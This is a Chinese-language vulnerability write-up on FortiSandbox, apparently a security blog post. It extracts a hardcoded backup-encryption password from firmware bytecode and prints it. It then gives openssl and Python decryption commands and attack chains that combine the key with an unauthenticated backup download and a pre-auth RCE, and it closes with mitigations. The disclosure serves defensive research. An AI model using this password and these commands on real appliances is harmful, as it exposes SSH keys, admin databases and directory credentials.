FortiSandbox 备份配置文件解密:固件逆向发现硬编码加密密钥
通过固件逆向提取 FortiSandbox 备份加密的硬编码密码,还原完整的备份解密攻击链
背景
在上一篇文章中,我们分析了 CVE-2026-39813(JRPC 路径遍历认证绕过),发现攻击者可以通过 backup/config 端点未授权下载 32KB 的加密系统备份。该备份以 OpenSSL Salted__ 格式存储,使用 AES-256-CBC 加密。当时我们提到如果能获取加密密钥,即可解密完整系统配置——但没有进一步深究。
本文将展示如何通过固件逆向工程,从 .pyc 字节码中提取出硬编码的加密密码,并实现对备份文件的离线解密。
摘要
- 发现类型: 备份加密密码硬编码在
common/utils.pyc的字节码常量中 - 硬编码密码:
BzklORFMUxD-b5PY1Dj3-nO(24 字符,所有未自定义密钥文件的设备共享) - 影响范围: 获得加密备份文件后,任何人可在离线环境下解密,暴露完整系统配置
- 前置条件: 无需访问目标设备,仅需备份文件和硬编码密码
- CWE 分类: CWE-321(使用硬编码加密密钥)、CWE-798(使用硬编码凭证)
逆向分析过程
分析目标
FortiSandbox 的备份/恢复功能由 /usr/bin/system-conf-recovery/ 目录下的 Python 脚本实现:
| 文件 | 作用 | 反编译状态 |
|---|---|---|
backup.pyc |
备份主脚本 — 打包 + 加密 | 部分成功(需 pycdas) |
restorestage1.pyc |
恢复第一阶段 — 解密 + 解包 | 部分成功(需 pycdas) |
common/utils.pyc |
工具函数 — 密钥获取逻辑 | 完整反汇编 |
分析的核心问题是:AES-256-CBC 加密的密码从哪里获取?
第一步:定位加密命令
通过 pycdc -s(字符串常量提取模式)和 pycdas(反汇编)分析 backup.pyc,在 gen_conf_pkg() 函数中找到核心加密命令:
1
2
3
4
5
6
7
# backup.pyc -> gen_conf_pkg() 字节码常量
cmd = (
'cd %(dir)s; '
'tar cfz - %(in_file)s %(version_file)s | '
'%(ssl_bin)s aes-256-cbc -salt -k %(pwd)s | '
'dd of=%(out_file)s'
)
字节码常量表证据:
1
2
3
4
# backup.pyc [Constants]
6: 'cd %(dir)s; tar cfz - %(in_file)s %(version_file)s | %(ssl_bin)s aes-256-cbc -salt -k %(pwd)s | dd of=%(out_file)s'
7: '%s_%s_%s.conf'
8: ('dir', 'in_file', 'version_file', 'ssl_bin', 'pwd', 'out_file')
命令模板中的 %(pwd)s 即为加密密码的占位符。追踪变量来源,函数通过 escape_phrase(get_encr_passphrase()) 获取密码。
第二步:提取硬编码密码
get_encr_passphrase() 定义在 common/utils.pyc 中。通过反汇编字节码(偏移 0-130),完整还原该函数:
1
2
3
# common/utils.pyc [Constants]
1: 'BzklORFMUxD-b5PY1Dj3-nO' # 偏移 0: LOAD_CONST 1 → 赋给 BACKUP_PWD
2: 'file_cfg_backup_key' # 偏移 10: SETTINGS[key]
完整还原的函数逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# common/utils.py -> get_encr_passphrase()
# 字节码还原(CPython 3.10)
def get_encr_passphrase():
BACKUP_PWD = 'BzklORFMUxD-b5PY1Dj3-nO' # 硬编码默认值 (常量偏移 1)
try:
with open(SETTINGS['file_cfg_backup_key'], 'r') as f:
BACKUP_PWD = f.readline().splitlines()[0] # 读取自定义密钥文件
except IOError as ex:
if ex.args[0] == 2: # errno.ENOENT — 文件不存在
return BACKUP_PWD # 回退到硬编码默认值
raise # 其他 IO 错误继续抛出
return BACKUP_PWD
密钥决策流程:
1
2
3
4
5
6
7
8
9
10
11
12
13
get_encr_passphrase() 调用
|
+-- 初始化: BACKUP_PWD = 'BzklORFMUxD-b5PY1Dj3-nO'
|
+-- 尝试 open(SETTINGS['file_cfg_backup_key'])
| |
| +-- 成功 --> 读取第一行 --> return 自定义密码
| |
| +-- IOError
| +-- errno == 2 (文件不存在) --> return 硬编码默认值
| +-- 其他错误 --> raise
|
+-- return BACKUP_PWD
关键发现:当自定义密钥文件不存在时(errno == 2),函数静默回退到硬编码密码。在默认安装的设备上,该密钥文件很可能从未配置过。
第三步:分析解密流程
restorestage1.pyc 中的解密函数实现了两阶段回退策略:
1
2
3
# restorestage1.pyc [Constants]
4: 'dd if=%(in_file)s | %(ssl_bin)s aes-256-cbc -d -salt -k %(pwd)s | tar zxf - -C %(out_path)s'
11: 'dd if=%(in_file)s | %(ssl_bin)s aes-256-cbc -d -md MD5 -salt -k %(pwd)s | tar zxf - -C %(out_path)s'
| 方法 | 命令 | 说明 |
|---|---|---|
| 优先 | openssl aes-256-cbc -d -salt -k <pwd> |
默认 SHA-256 digest(OpenSSL >= 1.1.0) |
| 回退 | openssl aes-256-cbc -d -md MD5 -salt -k <pwd> |
MD5 digest(兼容旧版 OpenSSL) |
OpenSSL 在 1.1.0 版本中更改了默认密钥派生摘要算法(MD5 → SHA-256),FortiSandbox 的恢复脚本通过 try/catch 自动处理这种兼容性。
第四步:理解 escape_phrase() 转义
密码在使用前经过 escape_phrase() 处理:
1
2
3
4
5
6
# common/utils.py -> escape_phrase()
def escape_phrase(phrase):
ep = ''
for c in phrase:
ep = ep + '\\' + c # 每个字符前加反斜杠
return ep
对于默认密码 BzklORFMUxD-b5PY1Dj3-nO,转义后为 \B\z\k\l\O\R\F\M\U\x\D\-\b\5\P\Y\1\D\j\3\-\n\O。这个转义是为了防止 shell 注入,但由于默认密码仅包含字母、数字和连字符(都不是 bash 特殊字符),转义后的字符串在 bash 中等价于原字符串。
因此解密时直接使用原始密码字符串即可。
密钥管理缺陷分析
问题一:全产品线共享密码
密码 BzklORFMUxD-b5PY1Dj3-nO 硬编码在编译后的 .pyc 文件中,所有使用默认配置的 FortiSandbox 设备共享同一个加密密码。这意味着:
- 获取任意一台设备的备份文件,即可用此密码解密
- 一次固件逆向,永久有效(除非固件更新更换密码)
问题二:无法轮换
密码编译在 .pyc 字节码中,用户无法通过管理界面更改。唯一的自定义途径是创建自定义密钥文件(SETTINGS['file_cfg_backup_key']),但:
- 该配置项来自
sysruntime模块,普通管理员可能不知道其存在 - 没有文档说明如何配置自定义备份加密密钥
- 即使配置了自定义密钥,回退逻辑仍然保留了硬编码密码作为默认值
问题三:离线解密无防御
备份文件使用标准 OpenSSL 格式(Salted__ 前缀 + AES-256-CBC),密码通过 EVP_BytesToKey 派生。获得备份文件和密码后,解密完全在攻击者控制的环境中进行,目标设备无法感知。
CWE 分类
| CWE | 描述 | 适用原因 |
|---|---|---|
| CWE-321 | 使用硬编码加密密钥 | 密码 BzklORFMUxD-b5PY1Dj3-nO 直接写在字节码常量中 |
| CWE-798 | 使用硬编码凭证 | 同一密码用于所有设备的备份加密 |
实战验证
环境信息
从一台运行 FortiSandbox 4.4.8 的实际设备上,通过 CVE-2026-39813(JRPC 路径遍历认证绕过)下载了加密备份文件:
- 文件大小: 26,224 bytes
- 格式: OpenSSL Salted__(AES-256-CBC)
解密过程
1
2
3
4
5
6
7
# 方法 1: 使用项目解密工具(纯 Python,不依赖 openssl 命令行)
python decrypt_backup.py backup.conf
# 方法 2: 使用 openssl 命令行
dd if=backup.conf 2>/dev/null | \
openssl aes-256-cbc -d -salt -k 'BzklORFMUxD-b5PY1Dj3-nO' | \
tar zxf - -C output_dir/
解密输出:
1
2
3
4
5
[*] 备份文件: backup.conf (26224 bytes)
[*] 加密格式: OpenSSL AES-256-CBC (Salted)
[*] 密钥来源: 硬编码默认值
[*] 解密方法: SHA-256 (默认)
[+] 解密成功!
解密内容
成功解密出 44 个文件,以下为关键敏感文件清单:
| 文件 | 大小 | 安全影响 |
|---|---|---|
FortiSandboxGUIBackend.db |
37 KB | 主数据库 — 包含管理员账户、会话、扫描任务 |
FortiSandboxDevice.db |
40 KB | 设备注册数据库 |
user_authserver.db |
80 KB | 认证服务器配置 — LDAP/RADIUS 对接信息 |
gui_encryption_key |
— | GUI 加密密钥 |
ssh/ssh_host_rsa_key |
— | SSH RSA 私钥 |
ssh/ssh_host_ecdsa_key |
— | SSH ECDSA 私钥 |
ssh/ssh_host_ed25519_key |
— | SSH Ed25519 私钥 |
admin_profiles.json |
— | 管理员权限配置 |
password_policy.json |
— | 密码策略配置 |
system-mailserver |
— | 邮件服务器凭据 |
system-proxyserver |
— | 代理服务器配置 |
vmprofile.conf |
— | VM 扫描配置文件 |
filterlist.db |
— | 文件过滤规则数据库 |
conf_snmp.db |
— | SNMP 配置 |
sfmpd.db |
— | SFMP 守护进程数据库 |
最严重的后果: SSH 私钥泄露允许攻击者以设备身份连接其他系统(如果设备被用作跳板);数据库泄露暴露所有管理员账户和扫描任务历史;认证服务器配置泄露可能影响企业 AD/LDAP 环境。
4.4.8 与 4.4.9 对比
一个自然的问题是:4.4.9 补丁是否修复了备份加密机制?通过对比两个版本的关键 .pyc 文件:
| 组件 | 4.4.8 | 4.4.9 | 差异 |
|---|---|---|---|
common/utils.pyc (get_encr_passphrase) |
硬编码 BzklORFMUxD-b5PY1Dj3-nO |
硬编码 BzklORFMUxD-b5PY1Dj3-nO |
完全一致 |
backup.pyc (gen_conf_pkg) |
AES-256-CBC 加密命令 | AES-256-CBC 加密命令 | 完全一致 |
restorestage1.pyc |
SHA-256/MD5 双 digest 回退 | SHA-256/MD5 双 digest 回退 | 完全一致 |
结论:4.4.9 补丁未修复备份加密机制。 硬编码密码在两个版本中完全相同,所有升级到 4.4.9 的设备仍然使用同一个加密密码。
组合攻击链
备份解密本身不是独立的 CVE,但与其他已发现漏洞组合后,可形成完整的攻击链:
攻击链 A:纯信息泄露(无需 RCE)
1
2
3
4
5
6
7
8
CVE-2026-39813 (JRPC 路径遍历认证绕过)
|
+-- 1. 构造 session: "../../tmp/" 绕过 JRPC 认证
+-- 2. 访问 backup/config 端点下载 32KB 加密备份
+-- 3. 离线解密: openssl aes-256-cbc -d -k BzklORFMUxD-b5PY1Dj3-nO
|
v
完整系统配置暴露(数据库、SSH 密钥、认证配置...)
前置条件: 仅需网络访问目标 HTTPS 端口,无需任何凭据。
攻击链 B:完整接管(含 RCE)
1
2
3
4
5
6
7
8
9
10
CVE-2026-39813 (信息泄露)
+-- 下载加密备份
+-- 获取系统版本、序列号、配置
|
CVE-2026-26083 + CVE-2026-39808 (预认证 Root RCE)
+-- 读取自定义备份密钥文件 (如果配置了的话)
+-- 解密所有备份(包括使用自定义密钥的设备)
|
v
完全接管设备配置 + 持久化访问
在攻击链 B 中,即使管理员配置了自定义备份密钥文件(未使用硬编码密码),攻击者仍可通过 RCE 读取该文件内容,使自定义密钥保护失效。
缓解措施
立即行动
- 升级固件到最新版本(4.4.9 或 5.0.6+),修复 CVE-2026-39813 认证绕过,阻止未授权下载备份
- 配置自定义备份密钥文件(如果设备支持),避免使用硬编码默认密码
- 限制 Web 管理界面的网络访问,仅允许可信管理网络访问
纵深防御
- 检查备份文件访问日志,确认是否存在异常的
/jsonrpc/请求或备份下载行为 - 轮换 SSH 密钥对,如果怀疑备份曾被未授权获取
- 检查管理员账户,数据库泄露可能暴露管理员用户名和密码哈希
- 审查认证服务器配置,如果备份中包含 LDAP/RADIUS 对接信息,需确认相关凭据是否需要更新
长期建议
- Fortinet 应将硬编码密码替换为设备首次启动时随机生成的密钥
- 备份加密应使用基于设备序列号的密钥派生方案,而非全产品线共享密码
- 提供管理界面选项允许管理员主动轮换备份加密密钥
总结
FortiSandbox 的备份加密机制存在一个基础性的设计缺陷:加密密码以明文常量的形式硬编码在编译后的 Python 字节码中。这并非一个传统意义上的漏洞(如缓冲区溢出或注入),而是一个架构层面的密钥管理问题——当所有设备共享同一个无法轮换的密码时,加密的保护范围被限定在”密码不被提取”这一前提上,而这个前提在固件可获取的情况下并不成立。
更值得关注的是,4.4.9 补丁虽然修复了 CVE-2026-39813(阻止了未授权下载备份的路径),但并未触及备份加密的根本问题。这意味着即使攻击者通过其他途径获得备份文件(例如社会工程诱导管理员导出、设备退役时未安全擦除硬盘等),硬编码密码仍然有效。
该案例再次说明:加密的安全性不仅仅取决于算法的强度(AES-256-CBC 本身没有问题),更取决于密钥管理的实践。一个 256 位 AES 密钥如果被 24 个字符的硬编码密码所保护,其安全性等同于那 24 个字符。
